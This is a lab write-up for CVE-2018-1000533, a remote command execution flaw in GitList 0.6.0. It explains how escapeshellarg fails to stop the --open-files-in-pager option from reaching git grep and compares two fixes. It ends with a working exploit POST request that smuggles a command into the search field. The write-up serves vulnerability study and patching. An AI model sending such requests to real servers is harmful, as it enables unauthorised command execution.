GitList 0.6.0 Remote Command Execution (CVE-2018-1000533)

中文版本(Chinese version)

GitList is an elegant and modern git repository viewer.

GitList version <= 0.6 contains a passing incorrectly sanitized input to system function vulnerability in searchTree function that can result in executing arbitrary commands as PHP user. This attack appear to be exploitable via POST request using search form.

References:

Vulnerable environment

Execute following command to start a GitList server 0.6.0:

docker compose up -d

After the server is started, browse the http://your-ip:8080 and you will see a repository named example.

Vulnerability Principle

GitList uses git grep while searching code in repository:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

$query is the search keyword, $branch is the target branch.

id will be executed if attacker passed --open-files-in-pager=id; as the $query's value:

There are two reasons for this vulnerability:

  1. Misunderstanding of the escapeshellarg function, resulting in arguments injection
  2. The value of the --open-files-in-pager argument of git grep, which will be directly executed

Theoretically, after $query = escapeshellarg($query);, $query will become a string wrapped in single quotes. The premise of the bug is that the string should appear in the “parameter value” position, not in the parameter option.

To fix this issue, we can put the $query option behind -e:

git grep -i --line-number -e '--open-files-in-pager=id;' master

This is the suggestion from Git official:

-e The next parameter is the pattern. This option has to be used for patterns starting with - and should be used in scripts passing user input to grep. Multiple patterns are combined by or.

GitList used another fix:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

Firstly, remove illegal - prefix from $query, then put it behind --. The double-dash (--) will be accepted as a delimiter indicating the end of options in command line.

A -- signals the end of options and disables further option processing. Any arguments after the -- are treated as filenames and arguments. An argument of - is equivalent to --.

If arguments remain after option processing, and neither the -c nor the -s option has been supplied, the first argument is assumed to be the name of a file containing shell commands. If bash is invoked in this fashion, $0 is set to the name of the file, and the positional parameters are set to the remaining arguments. Bash reads and executes commands from this file, then exits. Bash's exit status is the exit status of the last command executed in the script. If no commands are executed, the exit status is 0. An attempt is first made to open the file in the current directory, and, if no file is found, then the shell searches the directories in PATH for the script.

So this this patch is acceptable, except that the preg_replace in the first step affects the normal search function.

Exploit

Send following request:

POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56

query=--open-files-in-pager=touch /tmp/success;

Noted that there are two arguments in URL: /[repo_name]/tree/[keyword]/search. [repo_name] must be a existing repository in the GitList, [keyword] is a search keyword that produces at least one result.

After the request is sent, use docker compose exec web bash to enter the container and you can see that /tmp/success has been successfully created: